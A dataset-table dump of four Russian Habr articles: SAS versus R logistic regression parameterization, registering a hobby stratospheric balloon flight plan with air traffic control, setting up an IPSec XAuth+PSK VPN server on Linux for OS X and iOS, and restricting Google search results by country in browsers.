text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Почему результаты логистической регрессии в SAS и R не совпадают
Возможно, эта тема не станет открытием для опытных статистиков. Однако я уверен, что менее опытные статистики и R-программисты смогут открыть для себя новые аспекты логистической регрессии, поскольку найти подробности о причинах несовпадения результатов между статистическими пакетами мне удалось только в документации SAS.
### Введение
Уже больше четырёх лет я занимаюсь биостатистикой, и всё это время я использую в своей работе язык R. RStudio делает его невероятно простым, удобным и в то же время мощным инструментом анализа. Вместе с тем, в течение уже почти года я работаю в контрактно-исследовательской организации (CRO). [Бизнес](https://en.wikipedia.org/wiki/Pharmaceutical_industry) диктует свои стандарты работы, и расчёты для подавляющего большинства серьёзных клинических исследований выполняются на платформе [SAS](https://en.wikipedia.org/wiki/SAS_(software)).
SAS как язык неплох и даже в чём-то хорош, хоть и построен на основе ряда странных концепций из далёкого 1976 года, описание которых могло бы стать поводом для отдельной большой статьи. Наличие этих концепций в SAS сегодня вполне объяснимо: ведя свою историю с работы на основе перфокарт, в настоящее время компания вынуждена поддерживать обратную совместимость с предыдущими версиями своих продуктов, поскольку в клинических исследованиях огромное значение имеет концепция воспроизводимости результатов (*reproducible research*). Это делает невозможным внесение радикальных изменений в синтаксис языка, как это произошло между версиями Python 2.7.x и 3.x. Что действительно грустно — это текущее состояние IDE для SAS, ни одна из которых (в комплекте поставки их три) даже вполовину не так хороша, как RStudio.
Бытует мнение, что переход из SAS в R значительно проще, но моя история сложилась наоборот. Мой способ познавать особенности SAS заключается в сопоставлении полученных в нём результатов с R. Особенно актуальной такая практика стала после случая, когда в ходе двойного программирования оба SAS-программиста неправильно поняли мануал на SAS Help и допустили одну и ту же ошибку в реализации метода. Кроме того, поскольку даже в [FDA](https://ru.wikipedia.org/wiki/Food_and_Drug_Administration) [используют](https://www.r-bloggers.com/how-r-is-used-by-the-fda-for-regulatory-compliance/amp/) R, очень важно, чтобы потенциальный валидатор смог получить идентичные нашим результаты расчётов.
### Суть вопроса
В одном из исследований нам понадобилось выполнить построение моделей на основе логистической регрессии, чтобы проанализировать возможную взаимосвязь между рядом исходных характеристик пациентов с гепатитом C и успешностью лечения.
Задача довольно тривиальная (но если Вам она не знакома, предлагаю примеры для [SAS](https://stats.idre.ucla.edu/sas/dae/logit-regression/) и для [R](https://stats.idre.ucla.edu/r/dae/logit-regression/) с хорошим описанием [интерпретации](https://stats.idre.ucla.edu/other/mult-pkg/faq/general/faq-how-do-i-interpret-odds-ratios-in-logistic-regression/)). Вопросы возникли, когда результаты обычной *univariate logistic regression* в нескольких случаях не совпали между двумя пакетами. Чаще всего, конечно, результаты совпадают. Иногда дело лишь в округлении (например, 0.1737 и 0.1738 для *p-value*). Но в отдельных случаях разница в значениях *β*-коэффициентов и вероятностей (*p-value*) налицо.
Рассмотрим пример с категориальным предиктором «Способ заражения», в котором базовым уровнем фактора выбрано значение «Переливание крови».
**Код и результаты R (отклик представлен значениями 0 и 1):**
```
library(haven)
library(car)
setwd("C:/test")
adis <- read_sas("adis.sas7bdat")
adis <- recode(adis, "''= NA")
adis$MODEHCV = factor(adis$MODEHCV,
levels = c("Blood transfusions",
"Dental procedures", "Other"),
ordered = FALSE)
mylogit <- glm(SVR12FL ~ MODEHCV,
data = adis,
family = binomial(link = 'logit'))
```
**Код и результаты SAS (отклик представлен значениями N и Y):**
```
%let dir=C:\test;
LIBNAME source "&dir\DataIN" access=readonly;
DATA adis;
set source.adis;
RUN;
PROC LOGISTIC data = adis;
class MODEHCV (reference = 'Blood transfusions');
model SVR12FL (event = 'Y') = MODEHCV / expb;
RUN;
```
Как видно из примера, несмотря на то, что оценки отношений шансов совпадают, значения β-коэффициентов в моделях различны. При этом значения exp(b) в SAS не совпадают с оценками *odds ratio* (OR). Что наиболее критично именно для нас — соответствующие β-коэффициентам значения вероятностей (*p-value*) совершенно не совпадают с результатами R.
### Решение
В поисках причины и способа решения возникшего вопроса я неожиданно для себя обнаружил, что сообщества пользователей R и SAS пересекаются очень слабо, и в итоге помочь мне смог только всемогущий Google. Большое спасибо [Анне-Марии де Марс](http://www.thejuliagroup.com/blog/?page_id=2), которая при аналогичном сопоставлении результатов SAS с SPSS связалась с представителем SAS и изложила [решение](http://www.thejuliagroup.com/blog/?p=1531) в своём блоге, что позволило мне раскрутить цепочку.
Причина различий заключается в способе кодирования уровней фактора, которые используются статистическими пакетами по умолчанию. R и SPSS при построении модели используют подход с кодированием базового уровня (*reference cell parameterization*, также можно встретить варианты *reference coding* или *dummy coding*) и проводят расчёт OR на основе экспоненцирования значений β-коэффициентов, в то время как SAS применяет [другой](https://support.sas.com/kb/23/087.html) подход — кодирование эффекта (*effect parameterization* или *effect coding*), при котором используется более сложный алгоритм. Подробные примеры построения моделей для этих схем кодирования представлены [здесь](https://support.sas.com/documentation/cdl/en/statug/63347/HTML/default/viewer.htm#statug_logistic_sect041.htm).
**Изменим в SAS схему по умолчанию на reference parameterization**
```
PROC LOGISTIC data = adis;
class MODEHCV (reference = 'Blood transfusions') / param = ref;
model SVR12FL (event = 'Y') = MODEHCV / expb;
RUN;
```
Теперь оценки OR в SAS полностью совпали с экспонентами соответствующих β-коэффициентов, а значения *p-value* полностью идентичны результатам R.
### P. S.
Судя по [этому](https://support.sas.com/documentation/cdl/en/statug/63347/HTML/default/viewer.htm#statug_logistic_sect006.htm#statug.logistic.classparam) материалу, SAS предлагает весьма широкий набор возможных вариантов кодирования уровней фактора при построении моделей. Найти что-то подобное в документации к R мне, к сожалению, не удалось. Буду признателен, если хабражители смогут подсказать такие материалы в комментариях. | https://habr.com/ru/post/348244/ | null | ru | null |
# Самодельный стратостат. Полётный план и ОрВД
Настало время поговорить про легализацию запусков самодельных стратостатов с целью обеспечения безопасности воздушного движения. Многие считают, что это сложно, вплоть до "невозможно" для обычных граждан, но это не так. Сейчас мы с вами всё быстренько оформим.
Преамбула
---------
В этом году мы успешно запустили 3 шара, наполненных гелием и отягощённых некоторой полезной нагрузкой в стратосферу. Не все из них долетели, но большинство — долетело. Эта "забава" вызвала, насколько я могу судить, положительную реакцию у читателей: кто-то, вдохновившись, сейчас строит свой стратостат (с роботами и лунопарком, разумеется), кто-то взял на вооружение для детских\подростковых образовательно-развлекательных заведений, а кто-то просто зритель, советник и болельщик. Так или иначе, в воздухе всегда витал один очень важный вопрос, от ответа на который я долгое время уходил. Настало время прояснить давно всех волнующую тему: а как же безопасность полётов?
Если кто-то потерял, то вот вся история/схемы/планы/исходники и ссылки на комплектующие:
* [Самодельный стратостат. Часть 1](https://habr.com/ru/post/555070/)
* [Самодельный стратостат. Часть 2](https://habr.com/ru/post/577184/)
* [Самодельный стратостат. Часть 3](https://habr.com/ru/post/584398/)
Вводная
-------
Итак, вы решили легализовать и обезопасить ваши стратопуски. Давайте, для начала, обозначим список терминов и аббревиатур, которые нам пригодятся на всём протяжении этого несложного занятия.
**ОрВД** — Организация воздушного движения. Это, собственно, процесс, а не *некая компания*. Сам орган, отвечающий за этот процесс называется [ФГУП "Госкорпорация по ОрВД"](https://ru.wikipedia.org/wiki/%D0%93%D0%BE%D1%81%D0%BA%D0%BE%D1%80%D0%BF%D0%BE%D1%80%D0%B0%D1%86%D0%B8%D1%8F_%D0%BF%D0%BE_%D0%9E%D1%80%D0%92%D0%94). Он и будет выдавать нам разрешение и принимать наш полётный план. Не конкретно этот, а его подразделение, о котором ниже.
**ГЦ ЕС ОрВД** — главный центр единой системы организации воздушного движения (далее **ГЦ**). В нашем случае интересен только как *потенциальное пятно контакта с зональным центром*.
**ЗЦ ЕС ОрВД** — собственно, **зональный** центр ОрВД (далее — **ЗЦ**). Именно он будет принимать наши полётные планы и выдавать (или не выдавать) разрешение на использование воздушного пространства (далее — **ВП**).
**Группа ТПП** — группа *тактического планирования полётов*. Группа диспетчеров/диспетчер с которым вам придется держать телефонную связь перед запуском, запрашивать разрешение на запуск и отчитываться о завершении запуска. Самый **важный** контакт в этом деле.
**SHR или СХР** — тип/код полётного плана/сообщения для шаров-зондов. Именно то, что нам надо. Далее будет ясно, где его использовать.
**Приложение от Минтранса с форматом предоставления полётных планов** — [ссылка](https://mintrans.gov.ru/file/397938)
Общий алгоритм действий
-----------------------
Выглядит сложно, но не сложно. Определение "контактных данных" надо будет сделать лишь единожды для своего региона запуска. Поехали по шагам, я буду делать всё на нашем примере.
### Наводим контакты
1. Определите по [карте](https://gkovd.ru/joint-atm-system/atc-centres-structure/) желаемый зональный центр. В нашем случае это — ЗЦ Санкт-Петербург.
2. Заходим на сайт конкретного ЗЦ, в раздел ["Контакты"](https://sz.gkovd.ru/?page_id=24) и ищем там телефон:
3. Узнаем у них телефон группы ТПП. Прям в трубку и говорите: ало, дайте, пожалуйста, телефон группы ТПП. Для нашего ЗЦ это телефон — **305-17-51**
По контактам это всё. Всё что у вас должно быть на выходе — телефон этой самой группы ТПП. Переходим к регистрации "пилота".
### Регистрация оператора шара-зодна
Заходим на [new.ivprf.ru](https://new.ivprf.ru/) и регистрируемся, указывая **реальные** данные. Этот сайт у них пришел на замену [старому](https://ivprf.ru/), который уже отключен, а этот еще не до конца "включён". Так что возможны проблемы с завершением регистрации (не приходит письмо) и некоторые "нестабильности в работе", но это *терпимо*. На случай проблем с регистрацией, они оставили сообщение на основном сайте:
Просто напишите им на sppi@matfmc.ru свой логин и желаемую роль в системе и они всё сделают очень быстро (мне ответили через час, что всё готово). Наша желаемая роль — **Оператор Шара-Зонда**. Остальные роли можете посмотреть [там же](https://new.ivprf.ru/) при регистрации.
Ок, с тех пор, как вы получили данные для входа и присвоенную роль в системе — поздравляю! Вы, теперь официально — оператор шара-зонда!
### План полёта
У оператора шара зонда не такой уж и большой выбор типов сообщений для составления полётных планов. Это сильно облегчает задачу. Со структурой и вспомогательными функциями сайта я предлагаю ознакомиться самостоятельно, а мы прямо сейчас составим новый план полёта.
Идём в раздел **"Воздушные суда"** и нажимаем "Добавить ВС". Это не обязательно, но это слегка автоматизирует заполнение плана в дальнейшем. Нас интересует тип судна — шар-зонд:
**Название** — любое. Это исключительно для вас.
**Опознавательный индекс** — шары-зонды не подлежат регистрации, так что никакого индекса у них нет. В данном случае применяется стандартная заглушка — буквы "Z". Наш (и ваш, если у вас шар-зонд) опознавательный индекс — **ZZZZZ**
**OPR/** — полное ФИО оператора. Да, под одним аккаунтом можно *насоздавать* ВС с разными операторами. Не знаю, видимо пользуется популярностью. Указываем свое полное ФИО.
**Скороподъёмность** — в метрах в минуту! Стандартная скорость подъема такого шара — 5м/с (и мы это даже опытным путем подтвердили). В нашем случае это 300м/мин.
**Максимальная высота подъёма** — в метрах. Мы указали 30000м
**Модель шара-зонда** — наш самодельный стратостат моделью не обладает и это поле не обязательное — оставляем пустым. Но кое-какая информация о шаре будет в самом плане.
Всё, больше тут нечего указывать, сохраняем и идём дальше, в **"Планы ИВП"** (ИВП — Использование Воздушного Пространства). Тут нам, операторам шара-зонда, доступен только один тип сообщения — **SHR**:
Нажимаем "Создать". Предложат создать план на карте или "Заполнить форму SHR". На момент описанных событий, карта работала очень не стабильно, так что я предпочитаю заполнить форму SHR. Жмем "Создать план".
**Вид полёта** — доступно несколько (в том числе "Полёт БЛА" и "Запуск аэростата"). Каждый вид имеет разные требования к плану. Нас интересует — **"Запуск шара/зонда"**
Сразу можете выбрать из списка **"Опозн. индекс ВС"** недавно созданное судно. Тогда информация о скорости и высоте должна подставиться автоматически (иногда глючит, можно вписать и руками).
**Аэродром или место вылета** — в случае использования стационарного пункта запуска или аэродрома — можете выбрать из списка его. Но это — не наш случай. Мы запускаем по своим координатам, так что в этом поле заглушка — **ZZZZ**
**Расчетное время вылета** — время указывается по **UTC!** Имейте это ввиду и не пропустите тайминги в своем часовом поясе!
**Скороподъёмность** и **Максимальная высота подъёма** — так же, как и при создании ВС
Теперь **Прочая информация**. Для нее не создали (возможно *пока*) отдельных полей на форме, так что тут всё указывается через специальные коды.
`DOF/` — Date Of Flight. Дата запуска
`TYP/` — Type или тип ВС. Значение read-only — SHAR
`OPR/` — Operator. Полное ФИО русскими буквами и **контактный** телефон. Важно указать телефон, по которому с вами реально смогут связаться для уточнения деталей и/или изменений плана!
`RMK/` — Remark. Некое примечание. Эта команда не обязательная, но нас попросили указать (дословно): **ОБОЛОЧКА 300 ДЛЯ ЗОНДИРОВАНИЯ АТМОСФЕРЫ**. Почему 300? Я не знаю, а спросить забыли и так всегда и писали. Есть предположение, что 300 — это масса оболочки, но даже когда мы запускали шар L-2000 (массой 2000г), мы всё равно оставляли "как есть". Так же, есть более *вероятная версия* — это **скороподъёмность**! И она ± одинакова для всех наших оболочек.
`DEP/` — Departure. Координаты запуска. Как раз то что надо, если не хотите возиться с аэродромами. Координаты указываются в **градусах и минутах** (можете воспользоваться любым [онлайн сервисом](https://planetcalc.ru/1129/) для перевода из десятичных координат)! Без секунд, без пробелов, без точек/запятых! Значение этого поля должно занимать **строго 11 символов**. Буквы "N" и "E" после широты и долготы — обязательны! Недостающее количество символов заполняется лидирующими нулями. В общем, посмотрите на наш пример на скрине — это реальный план, по которому был произведен запуск и полёт.
> В интернетах я встречал мнение, что для шара-зонда необходимо указывать сектор/конус/еще\_что-то\_странное координат направления полёта — это, разумеется, не так. Никаких секторов/маршрутов и т.п. от вас не требуется — этим занимается группа ТПП! Именно они запрашивают погоду для предоставленного района запуска и времени. И берут на себя ответственность оповещения воздушного движения о наличии шара-зонда в радиусе и по предполагаемому маршруту движения. От вас требуется только **точка запуска**.
>
>
>
> Технически, вы можете попробовать этим заняться. Например, используя поле `EET/`, но ТПП, скорее всего, попросит вас этим не заниматься :)
Как только всё заполнено и проверено/перепроверено — нажимайте **"Сформировать план"**.
Вот так выглядит готовый полётный план для шара-зонда и в таком виде он уйдет в ЗЦ ЕС ОрВД. Тут можно узнать пару знакомых значений из формы, но какие-то поменялись в угоду летным требованиям. Не важно, если он сформировался — это хороший знак (но еще не 100% гарантия).
Напоминаю, что подать план можно **не ранее чем за 5 дней до запуска**. Если это так — жмите "Отправить план" и выбирайте свой зональный центр. В нашем случае это — ЗЦ ЕС ОрВД Санкт-Петербург. Ваш план, в первую очередь, будет рассматривать именно ЗЦ. Группа ТПП получит его только за 3 дня до запуска (если ЗЦ его примет).
Хочу отметить, что если ваш полёт стартует/пересекает *хоть какие-то* города/административные центры/зоны ограничения полётов и т.п. — ЗЦ потребует от вас разрешение на использование воздушного пространства от администрации конкретной зоны (можно выслать им на email). Это лишняя возня и мы её **не проходили**. Мы всегда выбираем места удаленные от всего, тихие и безлюдные. Так что ЗЦ к нам вопросов не имеет. Подобрать себе хорошее место могут помочь следующие ресурсы:
* [Построитель маршрутов для шаров](http://predict.habhub.org/)
* [FPLN](https://fpln.ru/) — поиск закрытых/ограниченных зон, аэропортов/аэродромов, воздушных трасс и всего прочего, чего следует избегать.
> В качестве альтернативы — можете выслать сформированный план на электронную почту ЗЦ (и дальше вести переписку по почте). Почта для СПб ЗЦ: **spbzc@sz.gkovd.ru**
Полдела сделано. ЗЦ должен его получить и присвоить ему некий SID и статус. Сначала он будет "На обработке":
Затем одно из двух:
Или:
Да, я не просто так уделил особое внимание к полю `DEP/` :)
Что ж, если вы видите у себя картинку, похожую на эту:
то можно выдохнуть и пару дней *ничего не делать*. Теперь вам надо только **за 3 дня до запуска** позвонить группе ТПП своего ЗЦ (ее телефон мы узнавали в начале) и уточнить у них — всё ли они получили и всё ли хорошо. Бывает так, что не всё хорошо. Система у них новая и работает не идеально. Бывало, что они теряли уже принятые в системе планы. Так что этот шаг **крайне не советую** пропускать.
Далее, по протоколу, надо звонить им же еще за сутки, потом за час до запуска и прямо перед запуском. Но, иногда они говорят: "ладно, за сутки/час не звоните, просто перед запуском позвоните". А потом сами звонят и спрашивают: "всё в силе?" ¯\*(ツ)*/¯ Так или иначе, дальше по звонкам они вас уже скоординируют. Вам остается только выполнять их указания.
Когда настал час "Ч" (за час/минуту до запуска), у вас уже всё надуто и включено — звоните снова группе ТПП и спрашивайте: "запуск по СХР [там-то там-то] разрешаете?". Ваша задача в этот момент — услышать ключевые слова в ответ: "**разрешаю** использование воздушного пространства по вашей СХР-ке". Поздравляю! Вы совершили зарегистрированный запуск шара-зонда!
Диспетчер группы еще попросит вас связаться с ним, когда шар приземлится. Не забудьте сделать это! Это будет последний доклад в контексте текущего запуска. На этом запуск завершен!
### Подведём итог
Теперь всё суммируем в список шагов:
1. Определили свой ЗЦ
2. Узнали его номер телефона
3. Узнали у ЗЦ номер телефона группы ТПП
4. Составили план
5. Подали его за 5 дней до запуска в свой ЗЦ. Позвонили, уточнили у них: получили или нет
6. За 3 дня до запуска позвонили группе ТПП, узнали: всё ли ок?
7. За сутки до запуска: звонок ТПП. Подтверждение, что все ок
8. За час до запуска: звонок ТПП. Подтверждение, что все ок
9. За минуту до запуска: звонок ТПП. Запрос разрешения на ИВП по СХР
10. Запуск
11. После приземления: звонок ТПП. Отчёт об окончании
### Алло, мы ищем таланты
Нет, не конкретно мы, мы свою часть сделали и будем продолжать исключительно своим сбродом. Но, если кто-то хочет проявить себя в чём-то подобном — со мной связалась другая команда, которая сейчас собирает свой стратостат. И они более *гибкие* в плане хай-тека. Там вам и прямая радиосвязь, и удаленное управление нагрузкой, и ардуины, и всё то, что мне вменяли в "недостатки":
* [Группа ВК](https://vk.com/rybe_mission)
* [Руководитель проекта](https://vk.com/sstulekov)
Вот и всё. Fly safe, cmdr! | https://habr.com/ru/post/592383/ | null | ru | null |
# IPSec VPN для OS X и iOS. Без боли
> **VPN** (англ. Virtual Private Network — виртуальная частная сеть) — обобщённое название технологий, позволяющих обеспечить одно или несколько сетевых соединений (логическую сеть) поверх другой сети (например, Интернет).
>
> © [Wikipedia](https://ru.wikipedia.org/wiki/VPN)
VPN используется для удаленного подключения к рабочему месту, для защиты данных, для обхода фильтров и блокировок, для выдачи себя за гражданина другой страны и вообще — штука незаменимая. Практически повсеместно в качестве простого средства для организации пользовательского VPN используется всем известный [OpenVPN](https://openvpn.net/), который использовал и я. Ровно до тех пор, пока у меня не появился Macbook и OS X в придачу. Из-за того, что подход Apple к конфигурации DNS сильно отличается от подхода других \*nix-систем, проброс DNS через VPN нормально не работал.
После некоторых исследований у меня получилось два варианта:
— Использование DNS «мимо» VPN, что сильно небезопасно, но решает проблему.
— Использование нативных для OS X VPN-протоколов: PPTP и семейства IPSec.
Разумеется, я выбрал второе и разумеется — IPSec, а не устаревший PPTP.
**TL;DR;****Настройка Linux ( в моем случае — Arch Linux )**
```
#!/bin/bash
MYIP="1.2.3.4" # IP-адрес сервера
# Установка софта ( для Arch Linux )
pacman -S --noconfirm ipsec-tools pwgen
# Готовая конфигурация
wget https://gist.githubusercontent.com/annmour/e8d12dbfc4cd2c711c11588b4388afd4/raw/0929a169dde09ae3f041f4da4bf161614501d62c/racoon.conf \
-O /etc/racoon.conf
sed -i "s/0.0.0.0/$MYIP/g" /etc/racoon.conf
# Генерация группы и psk
mkdir -p /etc/racoon/ && echo $(pwgen -s 8 1) $(pwgen -s 64 1) > /etc/racoon/psk.key && \
chmod 0400 /etc/racoon/psk.key
# Добавление группы для VPN
groupadd vpn
# Запуск racoon
systemctl enable racoon && systemctl start racoon
# Создание пользователя для VPN и задание ему пароля
useradd -s /bin/nologin -G vpn -g vpn -M -N -d / vpn_user && \
passwd vpn_user
# Добавление правил для filter + nat
iptables -t filter -I INPUT -p esp -j ACCEPT
iptables -t filter -I INPUT -p udp --dport 500 -j ACCEPT
iptables -t filter -I INPUT -p udp --dport 4500 -j ACCEPT
iptables -t filter -I FORWARD -s 192.168.100.0/24 -j ACCEPT
iptables -t filter -I FORWARD -d 192.168.100.0/24 -j ACCEPT
iptables -t nat -A POSTROUTING -s 192.168.100.0/24 -j MASQUERADE
iptables-save > /etc/iptables/iptables.rules
# Включение форвардинга
echo net.ipv4.ip_forward=1 > /etc/sysctl.d/10-ip_fowrard.conf
sysctl -p /etc/sysctl.d/10-ip_fowrard.conf
```
**Настройка OS X**
1. Открыть Настройки → Сеть
2. Нажать (+) и выбрать VPN/Cisco IPSec
3. Заполнить основную информацию ( адрес, имя пользователя и пароль )
4. Выбрать «Настройки аутентификации» и указать группу и PSK ( из файла /etc/racoon/psk.key )
5. Подключиться
##### OS X и IPSec
IPSec это не один протокол, а набор протоколов и стандартов, каждый из которых имеет кучу вариантов и опций. OS X поддерживает три вида IPSec VPN:
— IPSec/L2TP
— IKEv2
— Cisco VPN
Первый вариант избыточен — какой смысл пробрасывать ethernet-пакеты для пользовательского VPN?
Второй — требует сертификатов и сильно сложной настройки на стороне клиента, что тоже нехорошо.
Остается третий, который называется «Cisco», а на самом деле — XAuth+PSK. Его и будем использовать.
###### Препарация OS X
После некоторых неудачных попыток настроить VPN на OS X, я полез изучать систему на предмет того, как же именно там работает VPN.
Недолгий поиск дал мне файлик */private/etc/racoon/racoon.conf*, в котором была строчка *include "/var/run/racoon/\*.conf";*.
После этого все стало понятно: при нажатии кнопки OS X генерирует конфиг для racoon и кладет его в /var/run/racoon/, после окончания соединения — удаляет. Осталось только получить конфиг, что я и сделал, запустив скрипт перед соединением.
```
while true; for I in *.conf; do CP $I $HOME/$I; exit 0; done; done
```
Внутри я нашел именно ту информацию, которой мне не хватало для настройки сервера: **IPSec proposals**. Это списки поддерживаемых клиентом ( и сервером ) режимов аутентификации, шифрования и подписи, при несовпадении которых соединение не может быть установлено.
Итоговый proposal для OS X 10.11 и iOS 9.3 получился таким:
`encryption_algorithm aes 256;
hash_algorithm sha256;
authentication_method xauth_psk_server;
dh_group 14;`
##### Выбор VDS и настройка VPN
Для VPN-сервера я выбрал VDS от OVH, поскольку они дают полноценную виртуализацию с возможностью ставить любое ядро с любыми модулями. Это очень важно, поскольку ipsec работает на уровне ядра, а не пользователя, как OpenVPN.
Режим «Cisco VPN» (XAuth + PSK) предполагает двухэтапную аутентификацию:
— Используя имя группы и PSK для нее ( этап 1 )
— Используя имя пользователя и пароль ( этап 2 )
###### Настройка racoon
racoon — демон, который занимается управлением ключами ( IKE ). Именно он дает ядру разрешение на провешивание туннеля после того, как аутентифицирует клиента и согласует все детали протокола ( aka proposal ). racoon входит в стандартный пакет ipsec-tools и есть практически в любом дистрибутиве Linux «из коробки».
**Конфигурация racoon**
**/etc/racoon.conf**
```
# путь к файлу с pre-shared-key. Права должны быть 0400
path pre_shared_key "/etc/racoon/psk.key";
# указание внешнего ip-адреса обязательно, 0.0.0.0 не работает!
listen {
isakmp 1.2.3.4 [500];
isakmp_natt 1.2.3.4 [4500];
}
# anonymous aka road warrior - клиент с неизвестным внешним адресом
remote anonymous {
# passive - режим "ждать входящего"
passive on;
# передача конфигурации клиенту
mode_cfg on;
# взято из racoon.conf для os x
exchange_mode main,aggressive;
ike_frag on;
verify_cert off;
verify_identifier off;
# имя сервера
my_identifier fqdn "vpn.server";
# генерировать одноразовые политики ( spd ) автоматически
# еще их можно генерировать руками, но не нужно
generate_policy on;
# режим прохода через NAT
nat_traversal on;
# мертвые клиенты отваливаются через 5 минут
dpd_delay 300;
# proposal - набор протоколов для клиента
# взято из racoon.conf для os x
proposal {
encryption_algorithm aes 256;
hash_algorithm sha256;
authentication_method xauth_psk_server;
dh_group 14;
}
}
mode_cfg {
# аутентификация по unix-пользователям
auth_source system;
# ... и unix-группам
group_source system;
# ... и пускать только членов групп vpn
auth_groups "vpn";
# ... разрешить клиенту сохранять пароль
save_passwd on;
# брать конфигурацию из конфига ( а не из radius например )
conf_source local;
# начальный адрес пула
network4 192.168.100.100;
# маска пула
netmask4 255.255.255.0;
# dns-сервер
dns4 8.8.8.8;
# размер пула
pool_size 50;
}
# настройка шифрования
sainfo anonymous {
encryption_algorithm aes;
authentication_algorithm hmac_sha1;
compression_algorithm deflate;
}
```
**Конфигурация psk-файла**
**/etc/racoon/psk.key**Используя случайные 64 бита группы и 512 бит ключа, я получаю достаточно вариантов, чтоб сделать перебор бессмысленным.
```
# group key
z1x7VZto IgYLrXQdsTFPWKpH7DrV6H06GnbQGl1jlesLZbJ6hZi7BIEULk1MF3yqkqAGDWvM
U8WLLyuk so70ums1VqrCilBvEBEUTDN9kripEd8l5pyQHWf8PNMmnvdV4uqUUeDLhHsnpK5c
4eU8rxhB TublZZd0K03REBdRe8BmkGuuOqNOnsW5d26bbtIsv4x0M1xlZWDjwHcjt3QYg1rc
L2rSlX01 IaXcgzUNVCMkf2BFGcHR14s4rLLbA9ZckQG0H5vNqLWMh4g2tSBa807Y2fmhxPxy
2QkqRbEv GnClE7m3Aq2HrXa6vhSubxNc6ZnY7LSWAFqmasgi5pqThzWmVQY0vONAbAXYpBk4
2mC1aO86 Dmmmty5rbaOZY0Uh0PGIcVYOLTI8fYlGWJCJfHhZSyXTDzTsc7Qhnj75vfApju2c
kotVQ8eN 31cRpnVpEzkrrm58gWuiaCeOvYLwJYy42dglA3IHsuYkftER5tmLJbtV5vwktLZx
YXQX4YSm 74f2RND10NIDaRk2bQtuPEjgJWXxeZdD7KoBdYBzdIq053PNzlNvdQdfn1Taa6zV
4ZwwJuMP 1xNyfGJSYvDRX7MgId9AgmwygqVFiOJDet2ofLVJkOOUKUfBt3IIn2pksXFTyiN2
t9D9S59q euDKjEM73eONU8hmbPGm3mtnyz3h66AY3tHWo5WJOBTm7PULc1TlVXeoGwOIUapm
```
###### Настройка Linux
— Необходимо разрешить маршрутизацию: **sysctl net.ipv4.ip\_forward=1**
— Необходимо разрешить протокол ESP и входящие соединения на порты 500/udp и 4500/udp: **iptables -t filter -I INPUT -p esp -j ACCEPT; iptables -t filter -I INPUT -p udp --dport 500 -j ACCEPT; iptables -t filter -I INPUT -p udp --dport 4500 -j ACCEPT**
— Необходимо включить NAT для нашей сети: **iptables -t nat -A POSTROUTING -s 192.168.100.0/24 -j MASQUERADE**
— Необходимо создать группу и создать/добавить туда пользователей: **groupadd vpn** и **useradd -G vpn vpn\_user**
— Необходимо запустить racoon: **racoon -vF**
##### Настройка OS X
**OS X в картинках**Настройки → Сеть
Выбрать (+) → VPN → Cisco IPSec → придумать название
Выбрать соединение → ввести адрес сервера, имя пользователя и пароль
Выбрать «Настройки аутентификации» → ввести имя группы и ключ ( именно в таком порядке )
Соединиться.
##### Настройка iOS
**iOS в картинках**Настройки → Основные → VPN → Добавить конфигурацию VPN.
Заполнить форму по аналогии, подключиться.
*<<
Спасибо за внимание, шифруйте свой трафик!
EOF;* | https://habr.com/ru/post/301422/ | null | ru | null |
# Разграничение Google поиска для Росcии, Украины и Белоруссии
Этот пост обязан своим происхождением [моим вопросом](http://habrahabr.ru/qa/19098/), на который, я так и не получил ответа.
Но, [один человек](http://habrahabr.ru/users/MrFreeman/) подтолкнул меня на мысль.
Я сделал то, что хотел. И решил поделиться с народом.
Вот что получилось в итоге.
#### Проблема
И так напомню еще раз, когда ищешь в Google какой нибудь товар, например ноутбук (хочешь узнать цену или инфо), то в выдаче Google попадются сайты не только российские, но еще и украинские или белорусские.
Многие могут сказать, «Укажи в расширенном поиске страну», и будут правы.
Но я когда я что-то ищу, привык пользоваться браузерными инструментами поиска, например:
**В Firefox================================================**
**В Opera================================================**
**В Chrome================================================**
#### Решение
А решение было простое. Я проанализировал маркер в поисковое строке Google, и нашел, что маркер
```
&cr=countryRU
```
отвечает за признак поиска по странам.
Осталось прикрутить эту фразу к поисковым запросам в браузерах.
Нужно так же добавить, так как поиск реализован в разных местах браузера, это нужно учесть, т.е,
1. При клике на слово, контекстное меню (Firefox, Opera,Chromium).
2. При вводе в строку адреса (Firefox, Opera,Chromium).
3. При вводе в поисковую строку (Firefox, Opera).
##### Mozilla Firefox
1. Нужно исправить поисковый запрос со стандартного гугловского на свой
```
user_pref("keyword.URL", "http://www.google.ru/search?q=");
```
```
user_pref("keyword.URL", "http://www.google.ru/search?&cr=countryRU&q=");
```
эти записи вы можете сделать в файле **user.js** или **prefs.js**
2. Теперь нужно исправить поисковую строку в контекстном меню, для этого откроем файл **search.json** (в нем прописаны ваши поисковые плагины) из профиля Firefox. Там 3 вариации поисковой фразы (правда не знаю за что какая отвечает).
Нам нужно добавить такую строку (по аналогии с другими)
```
{"name":"cr","value":"countryRU"}
```
.
А что бы легче ее было найти то я ориентировался по строке {«name»:«aq»,«value»:«t»} и ставил свою строку после нее.
Вот и все теперь ваш Google поиск будет только по России.
##### Opera
Пытался найти какой-нибудь файл конфигурации отвечающий за поисковый запрос, но так и не нашел.
Но решение в данном случае еще проще.
Открываем общие настройки Opera, на вкладке «Поиск», выбираем Google и жмакаем кнопку «Правка», потом «Подробнее».
Нам открывается строка в которой нужно вставить наш новый маркер &cr=countryRU, т.е…
Было так —
```
http://www.google.com/search?q=%s&sourceid=opera&ie=utf-8&oe=utf-8&channel=suggest
```
Стало так —
```
http://www.google.com/search?q=%s&sourceid=opera&ie=utf-8&cr=countryRU&oe=utf-8&channel=suggest
```
##### Chromium
Тут самая странная, как мне кажется реализация.
Открываем настройки, жмакаем «Управление поисковыми системами», и создаем новую ПС.
Название например **«Google Russia»**
Ключевое слово **«Google.ru»**
Ссылка с параметром
```
{google:baseURL}search?{google:RLZ}{google:acceptedSuggestion}{google:originalQueryForSuggestion}{google:searchFieldtrialParameter}{google:instantFieldTrialGroupParameter}sourceid=chrome&cr=countryRU&ie={inputEncoding}&q=%s
```
Ну а теперь указываем новую ПС по умолчанию.
#### Видео
Если вам будет удобнее посмотреть видео пожалуйста, смотрите (лучше сразу в HD).
#### А что в итоге?!
А в итоге, это всего лишь небольшой тюнинг поиска в браузера, но который лично мне уже помогает.
Живете в Белоруссии и вас не устраивают российские сайты, тогда меняйте RU на BY.
Живете на Украине, тогда меняйте RU на UA.
